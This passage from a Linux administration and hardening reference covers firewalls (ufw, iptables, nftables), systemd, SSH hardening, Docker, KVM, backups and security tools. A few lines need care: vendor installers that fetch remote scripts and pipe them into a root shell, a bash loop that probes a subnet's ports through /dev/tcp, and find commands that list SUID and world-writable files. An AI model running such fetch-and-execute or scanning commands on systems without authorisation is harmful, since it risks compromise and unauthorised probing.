ufw disable # Disable
ufw allow 22/tcp # Allow SSH
ufw allow 80,443/tcp # Allow HTTP/HTTPS
ufw allow from 192.168.1.0/24 # Allow subnet
ufw deny 23 # Block telnet
ufw delete allow 80 # Remove rule
ufw reset # Reset to defaults
ufw status numbered # Show rule numbers
ufw delete 3 # Delete rule 3
Package Management apt yum dnf pacman¶
Different distributions use different package managers
Debian/Ubuntu (apt)
apt update # Update package lists
apt upgrade # Upgrade packages
apt full-upgrade # Upgrade with dependency resolution
apt install nmap # Install package
apt remove nmap # Remove package
apt purge nmap # Remove with configs
apt autoremove # Remove unused dependencies
apt search scanner # Search packages
apt show nmap # Package details
apt list --installed # List installed
dpkg -i package.deb # Install local .deb
dpkg -l # List all packages
dpkg -L nmap # Files from package
RedHat/CentOS (dnf/yum)
dnf update # Update all
dnf install nmap # Install
dnf remove nmap # Remove
dnf search scanner # Search
dnf info nmap # Package info
dnf list installed # List installed
rpm -ivh package.rpm # Install RPM
rpm -qa # List all packages
rpm -ql nmap # Files from package
Arch Linux (pacman)
pacman -Syu # Update all
pacman -S nmap # Install
pacman -R nmap # Remove
pacman -Ss scanner # Search
pacman -Si nmap # Package info
pacman -Ql nmap # List files
Compiling from Source¶
Build software from source code when packages unavailable
# Download source
wget https://example.com/tool-1.0.tar.gz
tar -xzvf tool-1.0.tar.gz
cd tool-1.0/
# Configure build
./configure # Check dependencies
./configure --prefix=/opt/tool # Custom install location
./configure --help # Show all options
# Compile
make # Build
make -j4 # Parallel build (4 cores)
# Install
sudo make install # Install to system
# Uninstall (if supported)
sudo make uninstall
Systemd Service Management¶
Systemd controls services on modern Linux
systemctl status sshd # Service status
systemctl start sshd # Start service
systemctl stop sshd # Stop service
systemctl restart sshd # Restart service
systemctl reload sshd # Reload config
systemctl enable sshd # Start at boot
systemctl disable sshd # Don't start at boot
systemctl enable --now sshd # Enable and start
systemctl list-units # All units
systemctl list-units --type=service # Services only
systemctl list-units --failed # Failed units
systemctl daemon-reload # Reload unit files
systemctl reboot # Reboot system
systemctl poweroff # Shutdown
Journal Logs with journalctl¶
Systemd's binary logging system
journalctl # All logs
journalctl -f # Follow (tail)
journalctl -r # Reverse order
journalctl -n 50 # Last 50 entries
journalctl -b # Current boot
journalctl -b -1 # Previous boot
journalctl -u sshd # Specific service
journalctl -u sshd -f # Follow SSH logs
journalctl --since "2024-11-28 10:00" # Since time
journalctl --since "1 hour ago" # Relative time
journalctl -p err # Errors only
journalctl -p warning # Warnings and above
journalctl -o json # JSON output
journalctl --disk-usage # Disk usage
journalctl --vacuum-time=2weeks # Clean old logs
Creating Custom Systemd Services¶
Create services that start automatically
Create /etc/systemd/system/myapp.service:
[Unit]
Description=My Application
After=network.target
[Service]
Type=simple
User=appuser
WorkingDirectory=/opt/myapp
ExecStart=/opt/myapp/start.sh
Restart=on-failure
RestartSec=10
[Install]
WantedBy=multi-user.target
Then:
systemctl daemon-reload
systemctl enable myapp
systemctl start myapp
systemctl status myapp
User and Group Management¶
useradd -m username # Create user with home
usermod -aG sudo username # Add to sudo group
userdel -r username # Delete user and home
passwd username # Set password
groupadd groupname # Create group
groups username # Show user's groups
id username # User and group IDs
who # Logged in users
last # Login history
Sudo Configuration and Security¶
Edit with visudo only:
visudo
Common configurations:
username ALL=(ALL:ALL) ALL # Full sudo access
username ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx # Specific command no password
%admin ALL=(ALL) ALL # Group access
Shell Scripting Fundamentals¶
#!/bin/bash
# Basic script
NAME="Linux"
echo "Hello $NAME"
read -p "Enter value: " INPUT
echo "You entered: $INPUT"
if [ -f "/etc/passwd" ]; then
echo "File exists"
fi
for i in {1..5}; do
echo "Count: $i"
done
function greet() {
echo "Hello $1"
}
greet "World"
Advanced Bash Scripting¶
#!/bin/bash
set -euo pipefail # Exit on error , undefined vars , pipe failures
TARGET=${1:-"192.168.1.0/24"}
# Array
PORTS=(20 21 22 23 25 80 443 3389)
# Loop through array
for port in "${PORTS[@]}"; do
timeout 1 bash -c "echo >/dev/tcp/$TARGET/$port" 2>/dev/null && \
echo "Port $port open" || echo "Port $port closed"
done
# Error handling
if ! ping -c 1 8.8.8.8 &>/dev/null; then
echo "Network down"
exit 1
fi
Log Analysis and Forensics¶
# Failed SSH attempts
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn
# Successful root logins
grep "Accepted.*root" /var/log/auth.log
# Recently modified files
find /etc -type f -mtime -1
# SUID files
find / -perm -4000 -type f 2>/dev/null
# Large files
find / -type f -size +100M 2>/dev/null
# World-writable files
find / -perm -002 -type f 2>/dev/null
Security Hardening SSH¶
Edit /etc/ssh/sshd_config:
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
Port 2222
AllowUsers pentester admin
Protocol 2
X11Forwarding no
ClientAliveInterval 300
ClientAliveCountMax 2
MaxAuthTries 3
LogLevel VERBOSE
Then systemctl restart sshd
Firewall Configuration Best Practices¶
# iptables hardening
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -j LOG --log-prefix "IPTABLES-DROPPED: "
File Integrity Monitoring AIDE¶
apt install aide
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check
aide --update # After legitimate changes
Intrusion Detection with Fail2Ban¶
apt install fail2ban
Edit /etc/fail2ban/jail.local:
[sshd]
enabled = true
port = 22
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600
systemctl enable fail2ban
systemctl start fail2ban
fail2ban-client status
fail2ban-client status sshd
Kernel Parameters and sysctl¶
Edit /etc/sysctl.conf or /etc/sysctl.d/99-security.conf:
net.ipv4.ip_forward = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.log_martians = 1
net.ipv4.icmp_echo_ignore_all = 1
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2
Apply:
sysctl -p
Linux Firewall Frameworks¶
Linux provides multiple firewall frameworks for packet filtering and network security
Understanding each framework helps choose the right tool for specific security requirements
nftables - Modern Netfilter Framework¶
nftables replaces iptables as the modern packet filtering framework
Single tool handles IPv4 , IPv6 , ARP , and bridge filtering with better performance
nftables Basics
# Install nftables
sudo apt install nftables
sudo systemctl enable nftables
sudo systemctl start nftables
# View current ruleset
sudo nft list ruleset
# Flush all rules
sudo nft flush ruleset
Creating Tables and Chains
# Create table for IPv4
sudo nft add table ip filter
# Create table for IPv6
sudo nft add table ip6 filter
# Create input chain with drop policy
sudo nft add chain ip filter input { type filter hook input priority 0 \; policy drop \; }
# Create output chain with accept policy
sudo nft add chain ip filter output { type filter hook output priority 0 \; policy accept \; }
# Create forward chain
sudo nft add chain ip filter forward { type filter hook forward priority 0 \; policy drop \; }
Adding Rules
# Allow loopback
sudo nft add rule ip filter input iif lo accept
# Allow established/related connections
sudo nft add rule ip filter input ct state established,related accept
# Allow SSH
sudo nft add rule ip filter input tcp dport 22 accept
# Allow HTTP/HTTPS
sudo nft add rule ip filter input tcp dport { 80, 443 } accept
# Allow ping
sudo nft add rule ip filter input icmp type echo-request accept
# Drop invalid packets
sudo nft add rule ip filter input ct state invalid drop
# Block specific IP
sudo nft add rule ip filter input ip saddr 203.0.113.5 drop
# Rate limit SSH connections
sudo nft add rule ip filter input tcp dport 22 ct state new limit rate 3/minute accept
NAT with nftables
# Create NAT table
sudo nft add table ip nat
# Create postrouting chain for masquerading
sudo nft add chain ip nat postrouting { type nat hook postrouting priority 100 \; }
# Enable masquerading on external interface
sudo nft add rule ip nat postrouting oif eth0 masquerade
# Port forwarding (forward external 8080 to internal 192.168.1.10:80)
sudo nft add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
sudo nft add rule ip nat prerouting iif eth0 tcp dport 8080 dnat to 192.168.1.10:80
Save and Restore nftables
# Save current ruleset
sudo nft list ruleset > /etc/nftables.conf
# Restore ruleset
sudo nft -f /etc/nftables.conf
# Make persistent
sudo systemctl enable nftables
Advanced nftables Features
# Named sets for IP lists
sudo nft add set ip filter blacklist { type ipv4_addr \; }
sudo nft add element ip filter blacklist { 192.0.2.1, 192.0.2.2 }
sudo nft add rule ip filter input ip saddr @blacklist drop
# Logging
sudo nft add rule ip filter input tcp dport 22 log prefix \"SSH attempt: \"
# Counters
sudo nft add rule ip filter input counter
# Show statistics
sudo nft list table ip filter
iptables Deep Dive¶
iptables is the legacy but still widely used firewall framework
Separate tools for IPv4 (iptables) , IPv6 (ip6tables) , ARP (arptables) , bridges (ebtables)
iptables Tables and Chains
Four default tables with different purposes:
- filter - Default table for packet filtering (INPUT , OUTPUT , FORWARD)
- nat - Network Address Translation (PREROUTING , POSTROUTING , OUTPUT)
- mangle - Packet alteration (PREROUTING , INPUT , FORWARD , OUTPUT , POSTROUTING)
- raw - Configuration exemptions from connection tracking (PREROUTING , OUTPUT)
Complete iptables Configuration
# Flush all rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t mangle -F
# Set default policies
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT
# Allow loopback
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT
# Allow established and related
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Allow SSH with rate limiting
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT
# Allow HTTP/HTTPS
sudo iptables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
# Allow DNS
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 53 -j ACCEPT
# Allow ping with rate limit
sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
# Drop invalid packets
sudo iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
# Log dropped packets
sudo iptables -A INPUT -m limit --limit 5/min -j LOG --log-prefix "iptables-dropped: " --log-level 4
sudo iptables -A INPUT -j DROP
iptables NAT Configuration
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "net.ipv4.ip_forward=1" >> /etc/sysctl.conf
# Masquerading (SNAT)
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Port forwarding (DNAT)
sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.10:80
sudo iptables -t nat -A POSTROUTING -p tcp -d 192.168.1.10 --dport 80 -j SNAT --to-source 203.0.113.1
# Allow forwarded traffic
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A FORWARD -p tcp -d 192.168.1.10 --dport 80 -j ACCEPT
iptables Advanced Matching
# Match multiple ports
sudo iptables -A INPUT -p tcp -m multiport --dports 80,443,8080 -j ACCEPT
# Time-based rules
sudo iptables -A INPUT -p tcp --dport 22 -m time --timestart 09:00 --timestop 17:00 --weekdays Mon,Tue,Wed,Thu,Fri -j ACCEPT
# MAC address filtering
sudo iptables -A INPUT -m mac --mac-source 00:11:22:33:44:55 -j ACCEPT
# String matching
sudo iptables -A FORWARD -p tcp --dport 80 -m string --string "malware" --algo bm -j DROP
# Connection limit
sudo iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT
# Geo-blocking with ipset
sudo ipset create china hash:net
sudo ipset add china 1.2.3.0/24
sudo iptables -A INPUT -m set --match-set china src -j DROP
Save and Restore iptables
# Debian/Ubuntu
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6
sudo apt install iptables-persistent
# RHEL/CentOS
sudo service iptables save
sudo systemctl enable iptables
# Manual restore
sudo iptables-restore < /etc/iptables/rules.v4
ip6tables - IPv6 Firewall¶
ip6tables handles IPv6 packet filtering with same syntax as iptables
# Set default policies
sudo ip6tables -P INPUT DROP
sudo ip6tables -P FORWARD DROP
sudo ip6tables -P OUTPUT ACCEPT
# Allow loopback
sudo ip6tables -A INPUT -i lo -j ACCEPT
# Allow established/related
sudo ip6tables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Allow ICMPv6 (critical for IPv6)
sudo ip6tables -A INPUT -p ipv6-icmp -j ACCEPT
# Allow SSH
sudo ip6tables -A INPUT -p tcp --dport 22 -j ACCEPT
# Allow HTTP/HTTPS
sudo ip6tables -A INPUT -p tcp -m multiport --dports 80,443 -j ACCEPT
# Block IPv6 if not needed
sudo ip6tables -P INPUT DROP
sudo ip6tables -P FORWARD DROP
sudo ip6tables -P OUTPUT DROP
ebtables - Ethernet Bridge Filtering¶
ebtables filters at layer 2 (MAC/Ethernet level) for bridge interfaces
# Install ebtables
sudo apt install ebtables
# List rules
sudo ebtables -L
# Block MAC address
sudo ebtables -A INPUT -s 00:11:22:33:44:55 -j DROP
# Allow only specific MACs
sudo ebtables -P INPUT DROP
sudo ebtables -A INPUT -s aa:bb:cc:dd:ee:ff -j ACCEPT
# Block ARP spoofing
sudo ebtables -A INPUT -p ARP --arp-opcode Request -j DROP
# VLAN filtering
sudo ebtables -A FORWARD -p 802_1Q --vlan-id 100 -j DROP
arptables - ARP Filtering¶
arptables filters ARP packets for ARP spoofing prevention
# Install arptables
sudo apt install arptables
# Block ARP requests from specific IP
sudo arptables -A INPUT -s 192.168.1.100 -j DROP
# Allow only specific IPs to send ARP
sudo arptables -P INPUT DROP
sudo arptables -A INPUT -s 192.168.1.1 -j ACCEPT
# Block all ARP replies
sudo arptables -A OUTPUT --opcode Reply -j DROP
firewalld - Dynamic Firewall Manager¶
firewalld provides dynamic firewall management with zones and services
# Install firewalld
sudo apt install firewalld
sudo systemctl start firewalld
sudo systemctl enable firewalld
# Check status
sudo firewall-cmd --state
# List zones
sudo firewall-cmd --get-zones
sudo firewall-cmd --get-default-zone
sudo firewall-cmd --get-active-zones
# Add services
sudo firewall-cmd --zone=public --add-service=http
sudo firewall-cmd --zone=public --add-service=https
sudo firewall-cmd --zone=public --add-service=ssh
sudo firewall-cmd --runtime-to-permanent # Make permanent
# Add ports
sudo firewall-cmd --zone=public --add-port=8080/tcp
sudo firewall-cmd --zone=public --add-port=1000-2000/udp
# Block IP
sudo firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="203.0.113.5" reject'
# Port forwarding
sudo firewall-cmd --zone=public --add-forward-port=port=8080:proto=tcp:toport=80:toaddr=192.168.1.10
# Remove service
sudo firewall-cmd --zone=public --remove-service=http
# Reload
sudo firewall-cmd --reload
Framework Comparison and Migration¶
iptables vs nftables
| Feature | iptables | nftables |
|---|---|---|
| Performance | Good | Better |
| IPv4/IPv6 | Separate tools | Single tool |
| Syntax | Complex | Cleaner |
| Updates | Kernel recompile | Dynamic |
| Sets | Limited | Advanced |
| Future | Legacy | Active development |
Migrating from iptables to nftables
# Translate iptables rules to nftables
sudo iptables-restore-translate -f /etc/iptables/rules.v4 > /etc/nftables-migrated.nft
sudo ip6tables-restore-translate -f /etc/iptables/rules.v6 >> /etc/nftables-migrated.nft
# Review and apply
sudo nft -f /etc/nftables-migrated.nft
# Stop iptables
sudo systemctl stop iptables
sudo systemctl disable iptables
# Enable nftables
sudo systemctl enable nftables
sudo systemctl start nftables
Firewall Security Best Practices¶
Defense in Depth Strategy
# Layer 1: Drop invalid packets first
sudo nft add rule ip filter input ct state invalid drop
# Layer 2: Rate limiting
sudo nft add rule ip filter input tcp dport 22 limit rate 3/minute accept
# Layer 3: Logging before dropping
sudo nft add rule ip filter input log prefix \"Dropped: \"
sudo nft add rule ip filter input drop
Common Security Rules
# Anti-spoofing
sudo nft add rule ip filter input iif eth0 ip saddr 127.0.0.0/8 drop
sudo nft add rule ip filter input iif eth0 ip saddr 10.0.0.0/8 drop
# SYN flood protection
sudo nft add rule ip filter input tcp flags syn limit rate 10/second accept
# Port scan detection
sudo nft add rule ip filter input tcp flags \& (fin|syn) == (fin|syn) drop
sudo nft add rule ip filter input tcp flags \& (syn|rst) == (syn|rst) drop
# Block fragmented packets
sudo nft add rule ip filter input ip frag-off \& 0x1fff != 0 drop
Container Operations with Docker¶
Docker provides lightweight application isolation through containerization
Essential for modern deployment and testing environments
Docker Installation
# Ubuntu/Debian
sudo apt update
sudo apt install docker.io
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER
# Log out and back in for group changes
# Verify installation
docker --version
docker run hello-world
Basic Docker Commands
# Pull images from Docker Hub
docker pull ubuntu
docker pull nginx
docker pull kali-linux/kali-rolling
# List images
docker images
docker image ls
# Run containers
docker run -it ubuntu bash # Interactive terminal
docker run -d nginx # Detached mode
docker run -d -p 8080:80 nginx # Port mapping
docker run -d --name webserver nginx # Named container
docker run -it --rm ubuntu bash # Remove after exit
# List containers
docker ps # Running containers
docker ps -a # All containers
# Container management
docker stop container_id
docker start container_id
docker restart container_id
docker rm container_id
docker rm -f container_id # Force remove running
# Execute commands in running container
docker exec -it container_id bash
docker exec container_id ls /var/www/html
# View logs
docker logs container_id
docker logs -f container_id # Follow logs
# Copy files
docker cp file.txt container_id:/path/
docker cp container_id:/path/file.txt ./
Docker Images and Building
# Build image from Dockerfile
docker build -t myapp:latest .
docker build -t myapp:v1.0 -f Dockerfile.custom .
# Tag and push images
docker tag myapp:latest user/myapp:latest
docker push user/myapp:latest
# Remove images
docker rmi image_id
docker image prune # Remove unused images
Docker Networking
# List networks
docker network ls
# Create network
docker network create mynetwork
# Run container on network
docker run -d --network mynetwork --name db mysql
# Inspect network
docker network inspect mynetwork
Security Considerations
# Run as non-root user
docker run --user 1000:1000 ubuntu
# Read-only filesystem
docker run --read-only ubuntu
# Limit resources
docker run -m 512m --cpus=1 ubuntu # 512MB RAM , 1 CPU
# Drop capabilities
docker run --cap-drop ALL ubuntu
Virtualization with KVM and QEMU¶
KVM (Kernel-based Virtual Machine) provides full virtualization
QEMU handles device emulation and virtual hardware
KVM Installation and Setup
# Check virtualization support
egrep -c '(vmx|svm)' /proc/cpuinfo # Should be > 0
lscpu | grep Virtualization
# Install KVM packages (Ubuntu/Debian)
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager
sudo apt install virtinst virt-viewer
# Start and enable libvirt
sudo systemctl start libvirtd
sudo systemctl enable libvirtd
# Add user to groups
sudo usermod -aG libvirt $USER
sudo usermod -aG kvm $USER
# Log out and back in
# Verify installation
sudo virsh list --all
sudo virt-host-validate
Basic VM Management with virsh
# List all VMs
virsh list --all
# Create VM from ISO
virt-install \
--name ubuntu-vm \
--ram 2048 \
--vcpus 2 \
--disk path=/var/lib/libvirt/images/ubuntu-vm.qcow2,size=20 \
--os-variant ubuntu20.04 \
--network bridge=virbr0 \
--graphics vnc \
--cdrom /path/to/ubuntu.iso
# Start/stop VMs
virsh start vm_name
virsh shutdown vm_name
virsh destroy vm_name # Force stop
virsh reboot vm_name
# Autostart VM on boot
virsh autostart vm_name
virsh autostart --disable vm_name
# Delete VM
virsh undefine vm_name
virsh undefine vm_name --remove-all-storage
# Connect to VM console
virsh console vm_name
# Clone VM
virt-clone --original vm_name --name vm_clone --auto-clone
# Snapshot management
virsh snapshot-create-as vm_name snapshot1
virsh snapshot-list vm_name
virsh snapshot-revert vm_name snapshot1
virsh snapshot-delete vm_name snapshot1
Resource Management
# Adjust VM resources
virsh setmem vm_name 4G # Set RAM
virsh setvcpus vm_name 4 # Set CPUs
# View VM info
virsh dominfo vm_name
virsh vcpuinfo vm_name
Cloud and Remote System Operations¶
SSH Key Management Beyond Basics
# Generate different key types
ssh-keygen -t ed25519 -C "production-server"
ssh-keygen -t ecdsa -b 521 -C "backup-key"
# Convert key formats
ssh-keygen -p -f ~/.ssh/id_rsa -m pem # Convert to PEM
# Remove host key
ssh-keygen -R hostname
# View key fingerprint
ssh-keygen -lf ~/.ssh/id_rsa.pub
# Test SSH connectivity
ssh -T git@github.com
Advanced Remote File Operations
# rsync with advanced options
rsync -avz --progress source/ user@remote:/dest/
rsync -avz --delete source/ dest/ # Mirror (delete extra)
rsync -avz --exclude='*.log' source/ dest/
rsync -avz --include='*.conf' --exclude='*' /etc/ backup/
# scp with bandwidth limit
scp -l 1000 large_file.iso user@remote:/tmp/ # 1000 Kbit/s limit
# Remote archive creation
ssh user@remote 'tar czf - /data' > remote-data.tar.gz
# Parallel file transfer
find . -name "*.iso" | parallel scp {} user@remote:/dest/
Remote System Administration Scripts
# Execute script on multiple servers
for server in server1 server2 server3; do
ssh user@$server 'bash -s' < local_script.sh
done
# Parallel command execution
parallel-ssh -h hosts.txt -i 'uptime'
# Deploy with rsync and SSH
rsync -avz --delete /local/app/ user@remote:/var/www/app/
ssh user@remote 'systemctl restart nginx'
System Performance and Monitoring¶
sar System Activity Reporter
# Install sysstat package
sudo apt install sysstat
# Enable data collection
sudo systemctl enable sysstat
sudo systemctl start sysstat
# CPU usage every 1 second
sar -u 1
# Memory usage
sar -r 1
# Disk I/O
sar -d 1
# Network I/O
sar -n DEV 1
# View historical data
sar -u -f /var/log/sysstat/sa28 # Day 28
Resource Limits with ulimit
# View all limits
ulimit -a
# Set limits for current shell
ulimit -n 4096 # Open files
ulimit -u 2048 # Max processes
ulimit -s 16384 # Stack size
ulimit -m unlimited # Max memory
# Permanent limits in /etc/security/limits.conf
echo "* soft nofile 65536" | sudo tee -a /etc/security/limits.conf
echo "* hard nofile 65536" | sudo tee -a /etc/security/limits.conf
echo "* soft nproc 4096" | sudo tee -a /etc/security/limits.conf
System Tuning Parameters
# Swappiness (how aggressively kernel swaps)
echo "vm.swappiness=10" | sudo tee -a /etc/sysctl.conf
# File descriptor limits
echo "fs.file-max=2097152" | sudo tee -a /etc/sysctl.conf
# Network tuning
echo "net.core.rmem_max=134217728" | sudo tee -a /etc/sysctl.conf
echo "net.core.wmem_max=134217728" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_rmem=4096 87380 67108864" | sudo tee -a /etc/sysctl.conf
echo "net.ipv4.tcp_wmem=4096 65536 67108864" | sudo tee -a /etc/sysctl.conf
# Apply changes
sudo sysctl -p
Backup and Recovery Strategies¶
Tar Archives
# Create compressed backups
tar -czpf backup-$(date +%Y%m%d).tar.gz /home/
tar -cjpf backup.tar.bz2 /etc/ # bzip2 compression
tar -cJpf backup.tar.xz /var/www/ # xz compression
# List archive contents
tar -tzf backup.tar.gz
tar -tzf backup.tar.gz | grep "search"
# Extract archives
tar -xzpf backup.tar.gz
tar -xzpf backup.tar.gz -C /restore/path/
tar -xzpf backup.tar.gz file.txt # Extract specific file
# Incremental backups
tar -czpf full-backup.tar.gz -g snapshot.file /data/
tar -czpf incr-backup.tar.gz -g snapshot.file /data/
Rsync Backup Strategies
# Local mirror backup
rsync -av --delete /source/ /backup/
# Remote backup with compression
rsync -avz --delete /local/ user@backup-server:/backup/
# Exclude patterns
rsync -av --exclude='*.tmp' --exclude='cache/' /source/ /backup/
# Backup with hard links (saves space)
rsync -av --link-dest=/backup/previous /source/ /backup/current
# Dry run (test without changes)
rsync -avn --delete /source/ /backup/
# Show progress
rsync -av --progress --stats /source/ /backup/
Full System Backup
# Backup entire system
sudo tar -czpf /backup/system-$(date +%Y%m%d).tar.gz \
--exclude=/proc \
--exclude=/sys \
--exclude=/dev \
--exclude=/tmp \
--exclude=/run \
--exclude=/mnt \
--exclude=/media \
--exclude=/backup \
/
# Restore system
cd /
sudo tar -xzpf /backup/system-20241128.tar.gz
Troubleshooting Common Issues¶
Boot Issues
# View boot messages
dmesg | less
dmesg | grep -i error
journalctl -b # Current boot
journalctl -b -1 # Previous boot
# Check boot status
systemctl status
systemctl list-units --failed
# Repair filesystem (from rescue mode)
fsck /dev/sda1
fsck -y /dev/sda1 # Auto-fix errors
# GRUB repair
sudo update-grub
sudo grub-install /dev/sda
Network Issues
# Test connectivity
ping -c 4 8.8.8.8
ping -c 4 google.com # Test DNS
# Trace route
traceroute 8.8.8.8
mtr google.com
# Check routing
ip route show
ip route get 8.8.8.8
# DNS troubleshooting
nslookup google.com
dig google.com
cat /etc/resolv.conf
# Interface issues
ip addr show
ip link show
sudo ip link set eth0 up
sudo dhclient eth0 # Renew DHCP
Disk Issues
# Check disk usage
df -h
du -sh /*
du -h /var | sort -rh | head -20
# Find large files
find / -type f -size +100M 2>/dev/null
find / -type f -size +1G -exec ls -lh {} \;
# Check filesystem errors
sudo fsck /dev/sda1
sudo e2fsck -f /dev/sda1
# Check for bad blocks
sudo badblocks -v /dev/sda1
# SMART disk health
sudo apt install smartmontools
sudo smartctl -a /dev/sda
sudo smartctl -H /dev/sda # Health status
Memory Issues
# Check memory usage
free -h
cat /proc/meminfo
# Top memory consumers
ps aux --sort=-%mem | head -20
top -o %MEM
# Virtual memory stats
vmstat 1 10 # 10 samples , 1 sec interval
# Check for OOM (Out of Memory) killer
dmesg | grep -i "out of memory"
grep -i "killed process" /var/log/syslog
# Clear caches (if needed)
sync
echo 3 | sudo tee /proc/sys/vm/drop_caches
Shell Customization and Productivity¶
Bash Configuration (~/.bashrc)
# Custom prompt with git branch
parse_git_branch() {
git branch 2>/dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/(\1)/'
}
export PS1='\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\[\033[01;31m\]$(parse_git_branch)\[\033[00m\]\$ '
# Useful aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'
alias ..='cd ..'
alias ...='cd ../..'
alias grep='grep --color=auto'
alias df='df -h'
alias du='du -h'
alias ports='netstat -tulanp'
alias myip='curl ifconfig.me'
# Safety aliases
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
# Quick shortcuts
alias update='sudo apt update && sudo apt upgrade'
alias hosts='sudo vim /etc/hosts'
# Export PATH additions
export PATH=$PATH:/opt/custom/bin
export PATH=$HOME/.local/bin:$PATH
# History settings
export HISTSIZE=10000
export HISTFILESIZE=20000
export HISTCONTROL=ignoredups:erasedups
shopt -s histappend
# Enable color support
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
fi
Tab Completion Setup
# Enable bash completion
if [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
# Custom completion for SSH hosts
_ssh_hosts() {
local cur=${COMP_WORDS[COMP_CWORD]}
COMPREPLY=( $(compgen -W "$(grep -h '^Host' ~/.ssh/config | awk '{print $2}')" -- $cur) )
}
complete -F _ssh_hosts ssh scp
Security Tools and Practices¶
Rootkit Detection
# Install and run rkhunter
sudo apt install rkhunter
sudo rkhunter --update
sudo rkhunter --check
sudo rkhunter --propupd # Update file database
File Integrity Monitoring
# AIDE (Advanced Intrusion Detection Environment)
sudo apt install aide
sudo aideinit
sudo mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
sudo aide --check
sudo aide --update # After legitimate changes
Malware Scanning
# ClamAV antivirus
sudo apt install clamav clamav-daemon
sudo freshclam # Update signatures
sudo systemctl start clamav-daemon
# Scan system
clamscan -r /home
clamscan -ri / # Scan everything
clamscan -r --infected --remove /home # Remove infected files
Log Monitoring
# Logwatch
sudo apt install logwatch
sudo logwatch --detail high --mailto admin@example.com --range today
Intrusion Detection
# OSSEC IDS
wget -q -O - https://updates.atomicorp.com/installers/atomic | sudo bash
sudo apt install ossec-hids-server
# Start OSSEC
sudo /var/ossec/bin/ossec-control start
sudo /var/ossec/bin/ossec-control status
# Add agents
sudo /var/ossec/bin/manage_agents
Development Environment Setup¶
Programming Languages
# Python development
sudo apt install python3 python3-pip python3-venv
pip3 install --user virtualenv
python3 -m venv myproject
source myproject/bin/activate
# Node.js and npm
curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash -
sudo apt install -y nodejs
node --version
npm --version
# Go programming
sudo apt install golang-go
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin
echo 'export GOPATH=$HOME/go' >> ~/.bashrc
echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc
IDEs and Editors
# Vim with plugins
sudo apt install vim
curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
# VS Code
wget -qO- https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > packages.microsoft.gpg
sudo install -o root -g root -m 644 packages.microsoft.gpg /etc/apt/trusted.gpg.d/
echo "deb [arch=amd64,arm64,armhf] https://packages.microsoft.com/repos/code stable main" | sudo tee /etc/apt/sources.list.d/vscode.list
sudo apt update
sudo apt install code
Version Control
# Git configuration
git config --global user.name "Your Name"
git config --global user.email "your@email.com"
git config --global core.editor vim
git config --global init.defaultBranch main
# Useful Git aliases
git config --global alias.st status
git config --global alias.co checkout
git config --global alias.br branch
git config --global alias.lg "log --graph --oneline --all"
# Basic workflow
git clone https://github.com/user/repo.git
cd repo
git add .
git commit -m "descriptive message"
git push origin main
Practice Exercises¶
Exercise 1: File Operations
# Tasks to complete
mkdir ~/practice/test
touch ~/practice/test/notes.txt
